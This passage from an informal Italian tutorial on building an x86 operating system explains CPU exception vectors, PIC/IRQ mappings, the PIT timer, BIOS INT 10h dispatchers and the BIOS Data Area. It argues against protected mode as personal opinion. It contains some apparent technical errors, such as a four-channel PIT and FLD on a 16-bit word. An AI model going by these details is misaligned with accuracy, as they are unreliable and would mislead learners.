riguardano il processore, eccovi | | una tabellina: | | | | Interrupt Descrizione | | ------------------------------------------- | | 0 DIVISION BY ZERO | | 1 DEBUG TRAP | | 2 N.M.I. | | 3 SOFTWARE BREAKPOINT | | 4 OVERFLOW | | 5 BOUNDS CHECK | | 6 ILLEGAL OPCODE | | 7 COPROCESSOR NOT AVAILABLE | | 8 DOUBLE FAULT | | 9 COPROCESSOR SEGMENT OVERRUN | | 10 INVALID T.S.S. | | 11 SEGMENT NOT PRESENT | | 12 STACK EXCEPTION | | 13 GENERAL PROTECTION FAULT | | 14 PAGE FAULT | | 15 (NON UTILIZZATA) | | 16 COPROCESSOR ERROR | | 17...31 (NON UTILIZZATE) | | | | Naturalmente cerchero di spiegare cosa significa una chiamata a uno di | | questi vettori, e cosa puo provocarla. Pero, per semplificare, evitero | | di entrare nei dettagli del sistema di protezione dei processori Intel. | | Molti pensano che questo sistema di protezione sia stata una buona idea. | | Io no, e benche' sappia perfettamente come funziona, non mi piace, non | | lo uso, e soprattutto non perdero un enormita' di tempo a spiegarvi i | | suoi meandri. | | Se siete preoccupati per questo, non c'e' ragione di esserlo: non vi | | perdete nulla, solo una noia mortale per un qualcosa che alla fine | | sareste grati di non aver mai conosciuto o dovuto conoscere. I PC | | funzionano lo stesso, e piu' velocemente, senza questi sistemi di | | "protezione". Se poi qualcosa va storto e qualche locazione del S.O. | | viene sovrascritta da un programma che funziona male, la volete sapere | | la mia opinione? Non e' cosi grave... al limite, si pianta tutto, cosa | | che succede LO STESSO applicando i sistemi di protezione (vedi i "blue | | screens" di Windoze). Tutti quelli che conosco e che conoscono il | | sistema di protezione di questi processori sono concordi nel ritenerlo | | di non vitale importanza. Chi la pensa diversamente, col dovuto rispetto | | per poche eccezioni, IN GENERE non lo conosce bene, ma ne ha sentito | | parlare come di un qualcosa che protegge il sistema e che quindi e' per | | definizione "una cosa giusta". Personalmente semplifico il sistema di | | protezione al massimo, inizializzando una modalita' FLAT a 32 bit che | | da' accesso a tutta la memoria in modo lineare. Poi vi spiego cosa | | significa, ma lo dico per l'esperto che non vorrei pensasse che io stia | | sempre qui a girarmi i pollici nella modalita' reale. | | | | Se volete addentrarvi in quel labirinto, potete andarvi a cercare | | questo: | | INTEL 80386 PROGRAMMER'S REFERENCE MANUAL 1986 | | che fra l'altro e' disponibile in internet, anche se non so di preciso | | dove, e dalle cui prime righe si evince addirittura che Intel ha | | registrato come trademark la lettera "i" minuscola; cosa questo | | comporti, non saprei... | | Ma poi non dite che non vi avevo avvertiti... | | Uhmm... porca miseria, sto divagando troppo oggi. | | Tornando al significato delle interrupts... | | | | interrupt 0 - DIVISION BY ZERO | | viene chiamata quandunque al processore venga chiesto di eseguire una | | divisione per zero che riguardi numeri INTERI (e non in virgola mobile). | | | | interrupt 1 - DEBUG TRAP | | riguarda il sistema di protezione, per intercettare certe eccezioni che | | si verificano durante il debugging di un programma. Ignoriamola pure. | | | | interrupt 2 - N.M.I. | | e' molto importante, anche se non la vedrete probabilmente mai | | verificarsi. N.M.I. sta per Non-Maskeable Interrupt. Vedete, | | "mascherare" una interrupt e' un modo per trattenerla dal verificarsi in | | punti critici dell'esecuzione. | | Ad esempio, tutte le interrupt tranne la NMI vengono mascherate da una | | istruzione "CLI" (ricordate il piccolo bootstrap loader dell'altra | | volta?). Ma ci sono cose che richiedono SEMPRE l'attenzione della CPU, | | cose che non riguardano ne' il programma ne' il sistema operativo. Cose | | piu' legate alla ralta', come un salto di tensione o lo spegnimento del | | computer tramite il classico interruttore. In tali casi diverse macchine | | hanno bisogno, per limitare i danni, di eseguire certe operazioni, e per | | queste ragioni e' stata a suo tempo introdotta la linea NMI. Equivale, | | se volete, ad una "chiamata d'emergenza", e puo essere innescata solo | | via hardware. C'e' poco o niente da aggiungere: | | non vi riguarda, quindi lasciatele fare il suo lavoro e non interferite. | | Da notare che, a giorno d'oggi, spesso la NMI non fa assolutamente | | niente, perche' non ci sono grossi rischi legati alle cause di quelle | | chiamate d'emergenza. Con questo voglio dire: non abbiate troppa paura | | di commettere errori: molto difficilmente potreste rompere il computer. | | E a me, personalmente, in 19 anni non e' mai successo di fare un danno | | all'hardware per via di un pezzo di software malfunzionante. Non e' | | che non si possa fare del tutto, ma bisogna proprio farlo apposta... | | | | interrupt 3 - SOFTWARE BREAKPOINT | | Ah, questa e' utile. Molto utile. Viene usata dai debuggers per fissare | | un punto di arresto (breakpoint) del programma, in modo che al momento | | giusto il debugger (che avra' installato un suo gestore dell'interrupt | | 3) possa riprendere il controllo e mostrare le varie informazioni di | | debugging, come il contenuto dei registri, l'immagine dello stack, il | | dump della memoria... | | il vantaggio di questa interrupt e' anche che c'e' un codice speciale | | che la CPU interpreta come una chiamata all'interrupt 3, e che e' lungo | | soltanto un byte. Il codice e' CCh. Per contro, l'opcode (codice | | macchina) che presiede a una normale chiamata d'interrupt e' il codice | | CDh, cosicche' per esempio chiamando l'interrupt 10h con il comando "int | | 10h" in assembly, si ottiene un corrispondente codice macchina CDh 10h. | | Invece, scrivendo un comando "int 3" non si ottiene CDh 03h (che | | comunque e' equivalente) ma bensi il solo codice CCh. Questo facilita il | | compito dei debuggers, che in questo modo possono essere certi di | | ripristinare l'istruzione che segue un dato breakpoint semplicemente | | ripristinando il contenuto del byte che e' stato rimpiazzato dal codice | | CCh. All'avviamento, il gestore dell'int 3 in genere e' vuoto, ovvero | | non fa nulla, ed il suo vettore punta ad una immediata istruzione "iret" | | (interrupt return). | | | | interrupt 4 - OVERFLOW | | Chiamata quando il risultato di un operazione intera e' andato oltre il | | numero di bits (campo d'esistenza) permesso dal registro che avrebbe | | dovuto contenere tale risultato. Un po' come voler fare FFFFh + 1 in | | esadecimale, usando un registro a 16 bit. Il risultato sarebbe 10000h, | | che pero non c'entra in 16 bit (4 cifre esadecimali), e che genererebbe | | un "riporto" (detto per l'appunto CARRY). Oltre al riporto, viene | | settato il "flag di overflow". | | Orbene, quando questo flag e' settato *E* il processore incontra una | | istruzione "into" (che si riferisce ad int 4) viene in effetti chiamata | | l'interrupt 4 che gestirebbe la condizione di errore. Da notare che se | | NON c'e' stata una condizione di overflow *E* il processore incontra | | "into", la chiamata NON avviene. Oggi pero quasi tutti i programmi | | preferiscono gestire tali errori per conto loro, e omettono le | | istruzioni "into" dopo un'operazione aritmetica che potrebbe generare un | | tale problema. In effetti ve lo consiglio: non c'e' bisogno di scomodare | | la CPU per gestire in modo rapido ed efficiente tali errori, e qui un | | manualino d'assembly vi viene in aiuto... | | | | interrupt 5 - BOUNDS CHECK | | Relativa all'istruzione BOUND, che praticamente non usa piu' nessuno | | perche' lenta, non accoppiabile in CPU superscalari, e scarsamente | | utile. Mah... | | non curatevi del techno-blablabla di prima, mettete pure un gestore che | | stampi un errore nel vostro S.O. per questa interrupt, ma piu' di questo | | non e' necessario... | | | | interrupt 6 - ILLEGAL OPCODE | | Be', la CPU ha appena incontrato un codice operativo (opcode) che non | | risulta avere un significato. Una sorpresa totale, insomma. Non sa cosa | | fare, e quindi lo segnala al S.O., il quale a sua volta non avra' molto | | da fare se non terminare il programma e lavarsene le mani. Ma e' molto | | raro: succede se un programma malfunzionante a un certo punto salta ad | | una locazione di memoria che contiene DATI al posto di CODICE | | ESEGUIBILE. | | | | interrupt 7 - COPROCESSOR NOT AVAILABLE | | Che ci volete fare? Non c'e', e se non c'e', non c'e'... | | | | interrupt 8 - DOUBLE FAULT | | Brutta situazione. Mai capito come si dovrebbe reagire a una cosa del | | genere: e' un crash del sistema. Praticamente viene chiamata quando uno | | dei gestori degli altri codici di errore PROVOCA a sua volta un errore. | | Ma la CPU era ancora in attesa del ritorno dal gestore del primo errore, | | e quindi ora la situazione e' piuttosto intricata. Piu' di questo non | | saprei dirvi... io mi limiterei a segnalare con un messaggio, e chiedere | | di riavviare tutto. Mi sa che c'e' poco da fare... | | | | interrupt 9 - COPROCESSOR SEGMENT OVERRUN | | Ah, be', bisogna sapere che un "segment overrun" avviene quando, ad | | esempio, tentate di leggere o scrivere una locazione, diciamo, di 16 | | bits / 2 bytes, ma nel segmento non c'e' piu' spazio per leggere il | | secondo byte. Ad esempio: | | | | MOV SI, 0FFFFh | | FLD word ptr [SI] ; (una "word" e' un valore di 16 bits) | | | | ecco: in quel caso state dicendo al coprocessore di caricare sul suo | | stack di lavoro il contenuto della locazione all'offset FFFFh del vostro | | corrente segmento dati. Siccome cercate di caricare due bytes, ma al | | secondo byte la locazione diventa 10000h, che non c'entra in 16 bit, | | questo risulta in un "segment overrun", e siccome lo ha provocato | | un'istruzione eseguita dalla FPU (coprocessore matematico), viene | | chiamato COPROCESSOR SEGMENT OVERRUN. | | Facile no? No, eh? Be', studiatevi l'assembly... | | | | interrupt 10 - INVALID T.S.S. | | Bah, Invalid Task State Segment... | | Ignoratela: riguarda il sistema di protezione. | | | | interrupt 11 - SEGMENT NOT PRESENT | | Scatta quando un segmento di memoria virtuale e' descritto, dal suo | | "descrittore", come "non presente", ovvero non caricato in memoria RAM. | | La memoria virtuale, con la quale assolutamente non mi sporchero le | | mani, e' quella tecnica che consiste nell'allocare un po' di memoria di | | massa, dalle unita' apposite (in genere dischi rigidi), in modo che essa | | integri la memoria centrale, ovvero la RAM, quando quest'ultima | | scarseggia. Cosa poi sia un descrittore, cosa sia un selettore di | | segmento, cosa siano la GDT (Global Descriptors Table) e la IDT | | (Interrupt Descriptors Table), sara' meglio che lo spieghi un'altra | | volta, per quanto sia roba importante. | | | | interrupt 12 - STACK EXCEPTION | | Qualcuno (programma o S.O.) ha "sforato" lo stack da sopra o da sotto. | | Come saprete dal capitolo procedente, lo stack e' un'area di memoria che | | i programmi e il sistema usano per conservare valori temporanei. Ma | | quando quest'area finisce perche' ci sono stati salvati troppi valori, e | | nel caso in cui il processore sappia di preciso dove finisce l'area di | | stack, be', viene segnalato questo errore. Che pero succede anche se si | | tenta di tirare fuori (POP) un valore dallo stack quando non ce ne sono | | rimasti. In modalita' FLAT a 32 bit, il processore in genere non sapra' | | dove comincia e finisce lo stack (saranno fatti nostri) e quindi questo | | errore non avra' piu' molto senso, ne' si verifichera' mai in condizioni | | normali... | | | | interrupt 13 - GENERAL PROTECTION FAULT | | Hah! Questa e' bella! Se ve la presento sotto un'altro aspetto, molto | | probabilmente vi risultera' ben piu' familiare e comprensibile... | | | | "Il programma ha causato un'eccezione di protezione generale | | e verra' terminato. Se il problema persiste, provare a | | riavviare il computer." | | | | E' quello che succede, rare volte a ragione e spesse volte "a vuoto", a | | chi usa il sistema di protezione: volete ancora essere "protetti" | | da una macchina senza cervello? D'accordo, sono stato cattivo: mi scuso, | | ed aggiungo che volevo solo dire che, nella mia MODESTA opinione, la | | migliore protezione per un sistema operativo e' avere bravi | | programmatori, i quali non solo progettino il S.O. in modo razionale ed | | efficiente, ma applichino le stesse cure alle singole applicazioni. | | Se gli errori ci sono, si faranno vedere, in un modo o nell'altro. | | Passo subito ad auto-umiliarmi precisando che, in un sistema senza | | protezione, l'intero S.O. va incontro ad un probabile crash se crasha | | un'applicazione, perche' niente impedisce all'applicazione di | | sovrascrivere la memoria del S.O. In un sistema *con* protezione, il | | S.O. ha molte meno probabilita' di crashare in tali casi. | | Ma comunque, il programma si pianta, in quel modo tristemente famoso... | | In breve, quel che sostengo e' "eliminiamo gli errori per quanto | | possibile, invece di tentare di limitare i danni". | | | | Bisogna infatti considerare gli svantaggi del sistema di protezione: | | - i controlli rallentano *enormemente* l'esecuzione delle applicazioni; | | - come detto, e' spesso "troppo sensibile", e scatta praticamente a | | vuoto; | | - rende tutti i programmi ed il S.O. stesso, MOLTO piu' complicati e | | quindi piu' esposti alla presenza di errori, nonche' piu' lenti, meno | | performanti. | | | | Certo, poi dipende da voi, ma se dovete scegliere qualora il vostro S.O. | | dovra' o meno applicare tecniche di protezione, sceglietelo dall'inizio, | | ed eventualmente andate ad istruirvi in proposito. Cambiare idea a meta' | | del lavoro o in release future e' molto scoveniente: praticamente | | fareste prima a ricominciare daccapo. Personalmente, qui lo dico e | | sottolineo, il sistema che andro a illustrare SARA` DEL TIPO NON | | PROTETTO, in cui cioe' tutte le applicazioni avranno a disposizione gli | | stessi PRIVILEGI del S.O. stesso. L'aumento dell'efficienza e' | | valutabile da un MINIMO del 30% in piu' di velocita' rispetto a sistemi | | protetti, ad un massimo che varia da applicazione ad applicazione ma che | | puo spesso arrivare al 100%. | | | | Con tutto questo non voglio affibbiare colpe: non ce l'ho ne' con | | Windoze ne' con Intel. E` proprio una questione oggettiva: adottare un | | sistema di protezione come quello attualmente usato da Intel puo anche | | essere la cosa giusta da fare, a seconda delle esigenze. E` solo che io | | preferisco ancora non adottarlo, concentrando l'attenzione sul debugging | | e sull'eliminazione (possibilmente totale) degli errori in primo luogo. | | | | interrupt 14 - PAGE FAULT | | Di nuovo, relativa al sistema di protezione. | | | | interrupt 16 - COPROCESSOR ERROR | | E` un'errore generico del coprocessore. La FPU puo scegliere, a seconda | | di un flag depositato nel suo registro di controllo (control word), se | | far scattare o meno questa interrupt quandunque si presenti un errore di | | calcolo in virgola mobile (divisioni per zero, radici quadrate di numeri | | negativi, tangenti di pigreco mezzi, overflow, underflow, eccetera). | | Lascerei perdere questa interrupt, visto che un S.O. non dovrebbe MAI | | aver bisogno, almeno per quanto riguarda il suo kernel, di effettuare | | operazioni in virgola mobile: in genere, la responsabilita' di | | controllare questo tipo di errori viene lasciata alle singole | | applicazioni. | | | | interrupts rimanenti, la 15, e poi dalla 17 alla 31... | | Non sono usate nei 386. Siccome vorrei che il nostro S.O. fosse in grado | | di girare a partire da un processore della serie 386, lasciamole pure | | perdere. A ogni modo, anche nei processori successivi, quand'anche | | vengono usate, giocano ruoli molto secondari. Come dispatchers del BIOS, | | invece, le interrupts da 16 a 31 sono MOLTO IMPORTANTI ma, onde evitare | | confusione, vedremo piu' sotto cosa sia un dispatcher. | | | | Ora, bisogna imparare a distinguere due casi in cui un vettore di | | interrupt puo essere chiamato: il primo caso e' quello descritto dai | | paragrafi qui sopra, e si chiama "CPU-triggered interrupt", o | | "exception"; il secondo caso e' quello in cui l'interrupt e' chiamata da | | un programma, il che significa sia dal kernel di sistema che da un | | applicativo. Nell'ambito del primo caso, l'interrupt generata | | dall'hardware, bisogna ulteriormente distinguere due situazioni: la | | prima e' quella vista sopra, in cui e' la CPU a generare l'interruzione; | | la seconda e' quella in cui e' una PERIFERICA a richiedere | | l'interruzione. Nel primo caso si continua a chiamarla "exception", | | mentre nel secondo caso si usa la sigla IRQ. | | IRQ sta per Interrupt ReQuest, "richiesta di interruzione", che avviene | | attraverso una serie di circuiti chiamati "interrupt request lines". | | Le periferiche hanno a disposizione 16 linee di IRQ, numerate da zero a | | quindici, e controllate da una vecchia ma arzilla chip convenzionalmente | | nota con la sigla "PIC", Programmable Interrupt Controller. | | Non fatevi prendere dal panico, come diceva il defunto Douglas Adams, ma | | c'e' ancora una suddivisione che ha luogo tra le IRQ controllate dal | | PIC: quelle "basse" e quelle "alte". Le "low IRQ" rappresentano le linee | | da zero a sette, mentre le "high IRQ" rappresentano quelle da otto a | | quindici. Purtroppo, questi numeri NON SONO equivalenti, nella | | tradizionale mappatura del PIC, a quelli dei corrispondenti vettori di | | interrupt: voglio dire, quando una periferica genera la IRQ numero zero, | | NON viene chiamato il vettore d'interrupt numero zero. Il numero di | | vettore chiamato dipende, in teoria, dalle "PIC mappings"; il PIC e' | | diviso in due gemelli, definiti come "PIC master controller" e "PIC | | slave controller". Il master controlla le IRQ basse (0-7), mentre lo | | slave controlla quelle alte (8-15). In teoria, questi numeri possono | | corrispondere a diversi "blocchi" fatti di 8 vettori ciascuno, ma in | | pratica, col tempo, la mappatura del PIC si e', diciamo, standardizzata. | | Il risultato e' che potete star certi che il BIOS rimappa il PIC in modo | | da far puntare le IRQ da zero a sette verso i vettori di interrupt | | numerati da otto a quindici, mentre le IRQ da otto a quindici vengono | | rimappate sui vettori da 70h a 77h. Siccome a questo punto avrete | | un'irrimediabile zuppa in testa (e' normale, la prima volta che si | | studia un casino del genere), passo a chiarire le mappature standard con | | le due seguenti tabelline su cui potrete fare ragionevole affidamento: | | | | Numero di IRQ (dec) Interrupt corrispondente (hex) Periferica | | ------------------------------------------------------------------------ | | 0 08h SYSTEM TIMER | | 1 09h TASTIERA | | 2 0Ah (vedi nota) | | 3 0Bh COM2, porta seriale | | 4 0Ch COM1, porta seriale | | 5 0Dh VARI UTILIZZI | | 6 0Eh FLOPPY DISK | | 7 0Fh LPT1, porta parallela | | ------------------------------------------------------------------------ | | 8 70h CMOS REAL-TIME CLOCK | | 9 71h (vedi nota) | | 10 72h VARI UTILIZZI | | 11 73h VARI UTILIZZI | | 12 74h VARI UTILIZZI | | 13 75h FPU EXCEPTION | | 14 76h HARD DISK | | 15 77h VARI UTILIZZI | | | | Nota: la IRQ 9 non esiste piu' ed e' equivalente all'IRQ 2 per ragioni | | di compatibilita' con le vecchie mappature dei sistemi XT. Se ve | | l'avessi detto prima, avrei confuso la questione ancora di piu'. La IRQ | | 2 puo a sua volta essere usata per LPT2 su sistemi a video EGA, mentre | | su quelli VGA, praticamente tutti quelli odierni, e' riservata alla | | scheda video. | | | | Come vedete dalla tabella, molte IRQ corrispondono irrimediabilmente a | | delle periferiche. Si potrebbe dire che di recente anche la IRQ 5 e' | | stata "riservata" alla scheda audio, poiche' spesso una piccola Sound | | Blaster e' integrata nella stessa motherboard ed in genere e' connessa a | | quella IRQ, ma la cosa non e' "ufficiale". | | | | Il buon vecchio floppino ha la sua IRQ personale, che serve a comunicare | | quando una lettura/scrittura e' terminata; gloria al buon vecchio | | floppino, grazie al quale siamo in grado di installarci un bel bootstrap | | loader senza complicarci troppo le cose, almeno inizialmente, e grazie | | al quale possiamo avviare il PC anche quando il S.O. dell'HARD DISK fa i | | capricci; guardatevi di chi vuole toglierlo di circolazione... sarebbe | | il modo per complicare ulteriormente gli affari semplici: la strada | | giusta e' mantenere la sua interfaccia, chiamata Legacy ISA, ma | | espandere la sua capacita', dato che tale interfaccia puo agevolmente | | raggiungere gli 8,4 gigabytes. | | La SONY ci ha gia' provato, ed altri l'hanno seguita. Prima o poi | | qualcuno ce la fara', o almeno e' quel che spero. | | | | Poi c'e' l'IRQ zero, che si traduce in una chiamata al vettore | | d'interrupt numero otto, e che si chiama SYSTEM TIMER. Preparatevi ad | | essere ancora piu' confusi. L'IRQ zero e' connessa al canale zero del | | PIT. Oh, no! Cos'e' questo PIT ora? Un'altra sigla? Eh, si. E' il | | Programmable Interval Timer. | | Una cosina davvero utile senza la quale i S.O. multitasking, e anche | | molti altri compiti della macchina, avrebbero grandissime difficolta' | | nella loro sincronizzazione. Il PIT ha quattro canali, numerati da zero | | a tre. | | Il canale zero e' connesso alla linea dell'IRQ zero, in modo che quando | | il PIT lo comanda, puo far scattare la sua IRQ, ovvero l'interrupt | | numero 8. | | E questo avviene, fin dal boot, normalmente 18,2 volte al secondo. | | Il canale uno NON VA USATO NEMMENO MORTI, perche' e' quello che regola | | il refresh della memoria (parlo della DRAM, la memoria vera e propria, | | quella di lavoro). Se alterato, nel migliore dei casi il sistema si | | pianta, dato che la memoria RAM ha bisogno di periodici impulsi di | | "refresh" perche' essa conservi intatti i suoi contenuti. | | Il canale due non e' inizialmente usato, ma puo essere connesso al PCIS, | | il buon vecchio PC Internal Speaker, quell'affarino che fa "beep" quando | | accendete il computer, che fa "tac" quando scorrete in fondo a un testo, | | e che i tecnici meno provvisti di materia grigia montano vicino all'HD. | | Per curiosita', quei drivers e programmi che usano il PCIS per far | | suonare delle registrazioni di audio digitale, usano un trucchetto che | | consiste nell'uso combinato dei canali zero e due del PIT, in modo da | | ottenere un'alternarsi di accensioni e spegnimenti dell'altoparlante che | | alla fine e' talmente rapido da far sembrare che l'altoparlante sia | | mezzo acceso, mezzo spento, e l'orecchio non riesce a distinguere i | | singoli movimenti, trasformando di fatto il PCIS in un convertitore | | digitale-analogico come quelli che si trovano nelle schede audio. Ma lo | | svantaggio e' che ha un solo canale (mono) e non puo suonare a volume | | molto elevato, a meno che non si apra la motherboard e vi si colleghi un | | amplificatore... Il canale tre ha vari utilizzi, ma e' bene lasciarlo | | stare: in genere e' riservato al BIOS e gli scopi a cui presiede sono | | piuttosto importanti, anche se poco documentati. | | | | Secondo me qualcuno, divagazioni a parte, mi chiederebbe che diamine ha | | a che fare tutto questo con lo sviluppo di un S.O. Be', se ne volete uno | | multithreading (parte degli attributi di un sistema multitasking) e' | | molto importante che sincronizziate i threads ed assegnate tempo | | macchina ai vari programmi tramite il canale zero del PIT. E' il modo | | piu' semplice e sicuro per farlo, anche se personalmente preferisco i | | sistemi single-task. | | La velocita' del canale zero del PIT e' variabile, puo essere | | riprogrammata, anche se al momento non vi dico come, per non distrarvi. | | Potete anche fare in modo che l'interrupt 8 venga chiamata piu' di un | | milione di volte al secondo, anche se non potete fare in modo che venga | | chiamata MENO di 18,2 volte al secondo: dipende dalla frequenza di | | oscillazione del cristallo (XTAL) interno al chip chiamato PIT. | | Questa frequenza e' fissata a 1234DDh Hertz - calma - ho solo espresso | | la frequenza in hex... e' piu' facile da ricordare, 1234DDh: in | | decimale, in effetti, sono 1.193.181 hertz, ovvero 1,193181 MHz. Il PIT | | e' programmato per generare l'IRQ zero in una delle sue modalita' (del | | PIT) chiamata "interrupt on terminal count", ossia "chiama | | quell'interrupt quando finisci un certo tuo conto alla rovescia | | interno". Quest'ultima fa si che il PIT generi l'IRQ periodicamente, | | dato che alla fine del conto alla rovescia la chip ricomincia a contare | | partendo da un certo valore. Questo valore e' quel che si usa variare | | per stabilire la frequenza con cui l'IRQ e' generata. Ovviamente, si | | tratta di un periodo forzatamente multiplo della frequenza | | dell'oscillatore al quarzo (il XTAL); il registro interno al PIT che | | effettua il conto alla rovescia e' a 16 bit, e quindi puo contare un | | massimo di 65.536 unita'. | | Il BIOS, per convenzione, setta questo valore appunto a 65.536, il | | "conteggio massimo del PIT". | | Ora, se dividete la frequenza di 1.193.181 cicli al secondo per 65.536, | | prendete due piccioni con una fava: vi rendete conto della | | corrispondenza tra la frequenza di XTAL e la frequenza di chiamata | | dell'IRQ zero, e in piu' di come ottenere una qualsiasi altra frequenza | | che vi faccia comodo. | | Infatti, 1.193.181 diviso per 65.536 da' 18,2064971923828... cioe' | | proprio la frequenza di chiamata di IRQ zero cosi come la intende il | | BIOS. | | Allora, dopo piu' di 300 righe abbiamo finito con i vettori d'interrupt? | | Ho detto molte cose, ma dovevo dirle proprio tutte, e c'e' ben poco da | | fare per semplificare la questione: non e' semplice e non pretende di | | esserlo. Non mi aspetto che sia immediatamente comprensibile: gli | | argomenti si rincorrono, e si aprono uno dentro l'altro, perche' e' cosi | | che funziona; e' difficile tenergli dietro, ma di certo potete RILEGGERE | | il tutto quante volte volete, magari usando carta e penna per fare utili | | schemini. E... no, non abbiamo finito. | | | | Mah, probabilmente a questo punto sarete abbastanza confusi e non vi | | accorgerete, almeno alla prima lettura, e a meno di avere un QI ben | | sopra ai 200, che c'e' un apparente conflitto tra i vari usi dei vettori | | compresi tra 8 e 15 (o tra 8h ed Fh esprimendoli in esadecimale). | | Infatti, il vettore 8 era usato dalla CPU per segnalare un DOUBLE FAULT, | | eppure viene anche chiamato 18,2 volte al secondo, via PIT channel zero. | | Che significa questo? Che 18,2 volte al secondo avviene un DOUBLE FAULT? | | Neanche per idea: i gestori di tali situazioni, i programmi che | | reagiscono alle chiamate al vettore 8, coincidono, ma c'e' un modo per | | distinguere le IRQ dalle "eccezioni" generate dal processore. Infatti, | | il processore ci segnala che si tratta di una chiamata conseguente | | un'eccezione, come il DOUBLE FAULT, salvando un valore sullo stack. E' | | un valore a 32 bit, che rappresenta un codice d'errore. Quando ne | | sapremo di piu', potremo allora confrontare l'immagine dello stack e | | verificare se corrisponde ad una normale chiamata d'interrupt (niente | | codice d'errore) oppure ad una vera e propria eccezione (codice d'errore | | presente). Questo si applica anche alle altre interrupts al di sotto del | | vettore numero 32, che in teoria possono tutte essere usate come canali | | per le "eccezioni" del processore. | | | | E gli altri vettori, quelli sopra al 15, vengono usati per altri cose | | oltre che per eventuali eccezioni della CPU? Si, e sono molto | | importanti. I vettori da 10h a 1Fh sono infatti riservati ai dispatchers | | del BIOS. | | Bene! Cos'e' un "dispatcher"? E' una piccola subroutine che risponde | | alla chiamata, operata *via software*, ad un certo vettore d'interrupt. | | Ora, per fare una chiamata del genere, si usa il comando assembly "int", | | seguito dal numero di vettore che si vuole chiamare. I dispatchers hanno | | il compito di interpretare quello che noi abbiamo richiesto al BIOS; | | infatti, tutti i vettori del BIOS hanno bisogno, prima di essere | | chiamati, che i registri della CPU siano impostati a determinati valori, | | e tali valori dipendono da quello che vogliamo che il BIOS faccia per | | noi. Per esempio, se volessimo impostare una modalita' grafica 320x200 | | con 256 colori, quella che viene chiamata anche MCGA, e che ad esempio | | Windows usa per mostrare il suo "logo" durante il caricamento (in | | realta' usa una versione "tweaked" della MCGA, chiamata ModeX, ma | | discende in linea diretta dalla MCGA e per aprire un ModeX il primo | | passo e' comunque questo), dovremmo impostare il registro AX, che e' a | | 16 bit, al valore 0013h. | | Dopodiche', dovremmo fare una chiamata ai "BIOS Video Services", ovvero | | a quel vettore che smista le chiamate alle varie funzioni del BIOS che a | | loro volta sovrintendono alla manipolazione delle porte che connettono | | la motherboard alla scheda video. | | I "BIOS Video Services" sono tutti accessibili tramite il vettore 10h, | | ovvero l'interrupt numero 16. Quindi, il codice assembly per aprire la | | modalita' MCGA e', in definitiva, il seguente: | | | | MOV AX, 0013h | | INT 10h | | | | oppure, evidenziando le parti del registro AX, chiamate AL ed AH: | | | | MOV AH, 00h ; AH contiene un codice operativo per INT 10h | | MOV AL, 13h ; AL contiene un parametro per il codice operativo 00h | | INT 10h ; chiama il dispatcher dei BIOS Video Services | | | | I vari files "interrup.a", "interrup.b", "interrup.c" degli archivi di | | Ralf Brown sono un comprendio, se non proprio di tutte, di gran parte | | delle possibili chiamate ai dispatchers, sia a quelli del BIOS che a | | quelli del DOS. Questi ultimi pero, nel nostro caso, non ci interessano. | | Proprio per questo e' utile sapere che essendo le interrupts, in quei | | files, raggruppate in ordine numerico, i files piu' interessanti sono i | | primi cinque, ovvero quelli chiamati da "interrup.a" fino a | | "interrup.e". Tuttavia, gli elenchi di Ralf annoverano chiamate di ogni | | genere, non soltanto relative al BIOS, quindi e' utile far caso a CHE | | COSA, in effetti, eseguira' il comando, dato che nella nostra situazione | | non possiamo contare sulle chiamate ammesse da sistemi operativi e/o | | drivers caricati come software. Per esempio: | | | | --------V-1000------------------------------- | | INT 10 - VIDEO - SET VIDEO MODE | | AH = 00h | | AL = desired video mode (see #00010) | | Return: AL = video mode flag (Phoenix, AMI BIOS) | | 20h mode > 7 | | 30h modes 0-5 and 7 | | 3Fh mode 6 | | AL = CRT controller mode byte (Phoenix 386 BIOS v1.10) | | Desc: specify the display mode for the currently active display | | adapter | | | | Qui sopra e' un estratto dell'elenco "interrup.a", relativo proprio alla | | chiamata per impostare una nuova modalita' video, di cui parlavo poco | | fa. La cosa e' ragionevolmente fattibile, ci si puo aspettare che sia | | largamente supportata da pressoche' tutti i BIOS, in quanto e' | | dichiarata come parte delle funzioni "VIDEO", e non vi sono indicazioni | | specifiche per particolari tipi di scheda, o relative a un qualche | | driver software. | | Per fare un esempio di una funzione NON supportata da tutti i BIOS, | | basta scorrere l'elenco fino al paragrafo successivo, il quale riporta: | | | | --------V-10007E----------------------------- | | INT 10 - VIDEO - Paradise VGA, AT&T VDC600 - SET SPECIAL MODE | | | | Questo tipo di chiamata, come si vede dall'intestazione, e' supportata | | solo da schede Paradise VGA, oppure AT&T VDC600. Siccome non stiamo | | sviluppando dei drivers specifici, ma bensi il KERNEL del nostro S.O., | | non possiamo rivolgere le nostre attenzioni a particolari dispositivi: | | il KERNEL deve poter funzionare pressoche' ovunque. | | | | 0040h - BDA (BIOS Data Area), di 256 bytes, ma MOLTO densi di | | significati. | | Anche per quest'area, vi rimando ai files di Ralf Brown, in particolare | | al file chiamato "memory.lst", perche' sebbene stia cercando di spiegare | | tutto quello che posso, descrivere per esteso tutte le locazioni di | | quest'area farebbe davvero diventare questo capitolo un tantino troppo | | lungo. | | In breve, quest'area contiene molte locazioni abbastanza importanti: | | come prima cosa gli indirizzi delle varie porte seriali e parallele... | | | | 0040:0000 - Indirizzo di base della porta COM1 (di solito contiene | | 03F8h) | | 0040:0002 - Indirizzo di base della porta COM2 (di solito contiene | | 03E8h) | | 0040:0004 - Indirizzo di base della porta COM3 (zero se non presente) | | 0040:0006 - Indirizzo di base della porta COM4 (zero se non presente) | | 0040:0008 - Indirizzo di base della porta LPT1 (prima porta parallela) | | 0040:000A - Indirizzo di base della porta LPT2 (zero se non presente) | | 0040:000C - Indirizzo di base della porta LPT3 (zero se non presente) | | 0040:000E - Indirizzo di base della porta LPT4 (oppure indirizzo | | dell'XBDA) | | | | Gli indirizzi di base si riferiscono agli indirizzi di I-O di alcune | | porte, chiamate appunto "porte di I-O", tramite le quali vengono | | controllate le periferiche a bassissimo livello. Raramente si ha la | | necessita' di scendere al livello delle porte di I-O per sfruttare una | | periferica, e per questo dobbiamo ringraziare i dispatchers del BIOS, | | che in massima parte fanno proprio questo sporco lavoro per noi. | | Tuttavia, alcuni casi, come quelli delle porte COM ed LPT, richiedono | | ancora tali manovre. Altri casi molto frequenti sono quelli relativi al | | mouse BUS, quando il mouse non e' seriale, ed al settaggio dei registri | | di controllo del circuito CRT della scheda video, il quale controlla | | moltissimi aspetti della visualizzazione. | | Nello sviluppo di un prototipo di KERNEL, toccheremo i vari aspetti... | | | | Poi ci sono molti altri indirizzi utili, solo che una descrizione | | accurata richiederebbe troppo spazio, e quindi mi vedo costretto a | | rimandarla ai prossimi capitoli. Per 